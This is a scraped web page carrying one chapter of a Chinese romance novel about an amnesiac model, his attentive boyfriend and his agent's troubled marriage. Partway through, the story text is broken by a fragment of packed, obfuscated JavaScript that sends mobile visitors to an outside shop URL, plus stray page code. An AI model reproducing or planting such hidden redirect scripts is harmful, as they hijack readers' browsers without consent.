文趣网 > 都市小说 > 失忆错认了男朋友后 > 17.童话
    夏裕枝仰着脸眯了眯眸子,故作沉吟道:“我看你白白净净的,不像是骗子。”

    宋聿雪又笑了,转身给他热了杯牛奶,等待的工夫,就将放凉的饼干一块块装进牛皮纸烘焙袋。

    夏裕枝见他装了一袋又一袋,禁不住问:“这么多啊?”

    “这两袋是做多的,你带去公司,送给你经纪人和培训老师,就说是你亲手做的,也是一份心意。”

    “不愧是大老板,精通人情世故。不过我的厨艺太差了,简直烂穿地心,撒这种谎很容易被揭穿,就直接说是男朋友做的呗,反正在她们看来,我俩是一样的。”

    宋聿雪闻言微微一怔,点点头应了一声“好”。

    夏裕枝看着他有条不紊地打包好饼干,又去拿了背包来,准备收进包里,忙起身道:“等等,你先容我拍个照发朋友圈。”

    宋聿雪闻言,立即停了动作,手里的饼干却未放回台面,反而在夏裕枝拿起手机对着岛台时,刻意将提着三袋饼干的手往镜头方向送了送。

    夏裕枝全然未察觉他的小心机,连带着男人的手一块拍了下来,编辑起朋友圈:

    【激情的一天从爱心饼干开始。[图片]】

    宋聿雪将热好的牛奶放在他餐盘旁,借机看了眼他正在编辑的朋友圈,嘴角往上提了提。

    感受到手边的动静,夏裕枝下意识抬头,恰好看见套着围裙的宋怜斯端着三明治和咖啡在对面坐下。

    熟悉的咖啡香气袭来,他心间某个无名角落忽的被一股陌生的情绪填满。

    香气扑鼻的早餐,香甜的饼干与浓郁的咖啡,这种生活还真是容易让人迷醉。

    夏裕枝端起杯子喝了口热得恰到好处的牛奶,抿了抿下唇。

    如果被宋怜斯爱着是这种感觉的话,一直恢复不了记忆似乎也没什么大不了的。

    “上完课给我发消息,”宋聿雪感受到他的目光,立刻回以温柔的注视,“中午我来接你吃饭。”

    “哦。”夏裕枝漫应了一声,怀着某种未名的馨甜情绪,将照片发了出去。

    ·

    位于商圈的MA模特公司楼底总是人流如织。

    尤其是楼下的咖啡厅、餐吧门口,早高峰时买咖啡的上班族如潮水般此起彼落。

    夏裕枝同往常一样提着包从咖啡厅门前经过,快步走向公司时,忽而注意到在咖啡店侧门角落,一个透戴棒球帽、留着圈绕腮胡的男人正扯着某个女人的胳膊,不让她离开。

    而那女人有着一头熟悉的浅褐色及肩卷发,戴着一副茶色太阳镜,穿着黑色针织无袖套装,赫然是他的经纪人商薇。

    “喂!干什么呢,快放手!”夏裕枝一个箭步冲了过去,将商薇拉到了自己身后。

    转头撞上男人阴郁恼怒的眼神,他正想质问对方是谁,男人反倒指着他,冲商薇叱骂:

    “就这小子是吧?白得跟个小姑娘似的,你都快四十岁的老女人了,和这种比你儿子大不了几个月的小白脸在一起不害臊?”

    夏裕枝闻言,眼珠一转,大概明白了是怎么回事。

    他没有反驳,刻意扫量了两眼男人被啤酒肚撑圆的网球衫和牛仔短裤下牛蛙般的粗腿,回头一脸无辜问:

    “珍妮弗,这位胡子邋遢的大叔是哪来的?看到长得比他高、比他俊、比他年轻的帅小伙,就破防叫人小白脸吗?”

    商薇听得哧一声笑,推了下鼻梁上的墨镜道:“臭外地的来要饭的,不用理他。”

    男人一听,急赤白脸地又要来扯商薇的背包。

    夏裕枝手臂一挡把人拦下,半垂眼帘睨视他道:“有事好好商量,你再这样动不动扯人胳膊,我就叫保安了。”

    他虽看着清瘦白净,但毕竟模特的身高肩宽摆在这,相比普男,着实可谓高大威猛。

    络腮胡男人仰头扫了他一眼,又望了眼远处正盯着他们的公司保安,朝商薇粗着嗓子道:“我开的条件,你认真考虑,今晚上见。”

    放完话,他又瞪了夏裕枝一眼,才沉着脸转身离去。

    见人走远,商薇拍了拍夏裕枝的手臂:“没想到你小子还有这么勇猛的一面,刚才谢谢了,走吧。”

    “我本来就很勇猛,是你不了解我。”

    夏裕枝撇了下嘴角,跟上脚步问:“珍妮弗,他是谁啊?”

    “我丈夫。”

    “啊?你结婚了?那前天晚上那个男模特……”

    商薇抬起眼:“你看到了?”

    夏裕枝忙解释:“我没和别人说,宋怜斯都没说。”

    “说了也没事,我和男模特恋爱又不是第一次,公司里关系亲近的都知道,况且我丈夫他出轨得更早。”

    商薇边走边讲述,神色淡淡,仿佛在说别人的事情:“我们早就各过各的了,只是为了孩子还没离婚而已,目前算是开放式婚姻。”

    “哇,好前卫啊你们。”

    夏裕枝干巴巴地叹了一句,接着疑惑问:“那既然他都知道,为什么还来找你麻烦?”

    “除了钱,还能为了什么?他原本是个岩彩画老师,几年前开了间自己的画室,然后就和一个学生搞在了一起,那女孩子当时甚至都没成年,真是畜生。

    “前段时间,人家家长知道了这件事闹上了门来,搞黄了他的课室,还起诉了他,他平时就挥霍成性,现在好了,拿不出赔偿费,三天两头地来问我要钱,蠢人就是净惹麻烦!”

    夏裕枝点了点头,有些操心问:“那他说的条件是什么,今晚会去找你麻烦吗?”

    “我儿子马上要高考了,我们本来说好等他高考结束就办离婚手续,现在他要挟我,不给他钱就不同意离婚,不过无所谓,我会请律师,我俩的情况真闹起来对他也没好处。”

    商薇耸了下肩膀,看向他道:“你也不用担心,今晚我会带保镖回去的,你知道的,外国小狼狗。”

    “啊,那个我知道。”

    两人聊着天来到了电梯间,看了看等待电梯的人群,默契地没再多聊。

    不一会儿电梯门开,两人拥挤着走进电梯,各自按了楼层。

    为了腾出更多空间,夏裕枝将肩上背包按了按紧,忽而想起道:“对了,珍妮弗,我有东西给你。”

    他窸窸窣窣地从包里拿出一袋饼干塞给商薇,小声道:“宋怜斯做的饼干,挺好吃的,我给你和麦老师各拿了一袋。”

    商薇诧异接过:“他还会这个?不是霸总吗?”

    “开玩笑叫霸总啦,他会挺多的,主要是动手能力强,今早他第一次给我做欧姆蛋就做得超级成功,不输五星级酒店大厨水准。”

    夏裕枝忍不住提了提早餐震撼,接着轻轻啧舌:“果然聪明的人学什么都厉害,不仅思维快如闪电,行动力也超绝。”

    “行了行了,别夸了,我看你简直要被你那个男朋友迷得神魂颠倒了。”

    “那倒没有,我只是嘴上夸夸,没走心的。”

    “有没有你自己心里清楚。”商薇眯着眼意味深长笑说,旋即正色道:

    “饼干我会好好品尝的,但这种高热量食品,你以后还是得控制控制少吃点,别忘了我昨天发给你的消息,CLC那边初步定下在下月中旬试镜,今天开始每天跟我汇报体重。”

    夏裕枝轻吸了口气,差点忘了还有这茬。

    不过他自小就是偏瘦的体质,也并未觉得有压力,乖乖点头“嗯”了一声。

    ·

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17658968|206714||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >接下去数日,夏裕枝过上了规律的学习生活,白天两节模特培训课,回家还要背一背经纪人布置的时尚课业。

    忙忙碌碌间,一月眨眼逝去,夏裕枝额头的伤疤结痂、脱落,渐渐恢复如初,没恢复的仅是记忆而已。

    不过随着自身业务能力的稳步增进,夏裕枝对此也不再那么苦恼,只是面对初次工作的忐忑还是在所难免。

    试镜前一晚,夏裕枝紧张得辗转难眠。

    宋聿雪感受到他的心绪不宁,坐起身调亮了床头夜灯,问:“睡不着吗?”

    “吵醒你了?”夏裕枝睁眼看向他,旋即可怜巴巴地叹了口气:

    “完全睡不着,要不你给我一拳,让我晕过去吧!”

    宋聿雪闻言,伸手从摆在床头柜上的一摞恐怖故事书中拿了一本:“给你念故事?”

    夏裕枝摇摇头:“鬼故事我会越听越兴奋。”

    宋聿雪将书放了回去,手掌抚了抚他的头发问:“我去给你热杯牛奶?”

    “没用的,而且我都刷过牙了。”

    “那我还能做什么?”

    夏裕枝听到他唇间溢出了微微的叹息,但对方凝视自己的眼神并没有一丝的不耐烦,只是关切和担忧而已。

    也不晓为何,他突然想起了宋怜斯提过的住院经历。

    视线在男人宽敞的肩膀胸膛间徘徊片刻,某个想法于脑中成型,可他实在开不了口,就垂下眼道:

    “要不你找点无聊故事念吧,我说不定能无聊得入睡。”

    宋聿雪轻应了声,打开手机搜索起了哄睡故事,随后看向夏裕枝:“《白雪公主和七个小矮人》?”

    夏裕枝听得一笑,点点头:“也行,催眠故事。”

    宋聿雪于是清清嗓,给他念起了童话故事。

    “……王后生下了一个漂亮女儿,她的皮肤像雪一样白,嘴唇像血一样红,头发……”

    夏裕枝眯着眼睛,漫然地望着身边人影。

    暗淡朦胧的灯光中,男人微低着头的侧影像一幅静谧的剪影画。

    他望着这幅剪影,缓缓阖起了眼。

    未知何时,耳旁低沉的声音就变得模糊了起来。

    宋聿雪一直关注着他的呼吸,当念到王子将沉睡的白雪公主吻醒时,他不由垂眸看向身侧,发现夏裕枝面容安宁,已经沉入了睡梦中。

    他眼中沁出若有似无的笑意,不禁徐徐俯身,想要亲吻他白得透明的脸颊肌肤,却又蓦然顿住,担心会惊醒了他。

    眸光柔和地凝视了那宁谧的睡脸片刻,他小指挑起青年的一缕发丝,屏着呼吸在那柔软的发丝尾端落下一吻。

    ·

    夏裕枝做了个梦,梦里他穿着奢华繁复的宫廷裙,面前是一面雕刻漂亮的铜镜,镜面幽深泛紫,一看就是面不同寻常的魔镜。

    于是他问:“魔镜啊魔镜,谁是这个世界上最美丽的人?”

    魔镜上浮现一个穿着魔法袍的女巫,女巫戴着一副茶色墨镜,穿着乌黑魔法袍,原来是女巫珍妮弗。

    女巫珍妮弗高深莫测地回道:“当然是你了,亲爱的小枝宝贝!你是世界上最美丽的人!”

    梦中的他听见这个回答,有点害臊,有点满足,却又对此答案不出意料。

    随后他又问:“那么,魔镜魔镜,谁是这个世界上最爱我的人?除了我妈妈。”

    披着黑色魔法袍的女巫“桀桀”地怪笑了几声,随后在镜中呈现出一个画面。

    ——普普通通的早晨,他坐在餐桌旁吃饭,未曾注意到,对坐的宋怜斯正借着喝咖啡的动作悄悄偷看自己。

    淡白晨光里,那双半掩在陶瓷杯后的灰眸澄清明亮,渴望中又闪着点羞赧的光芒。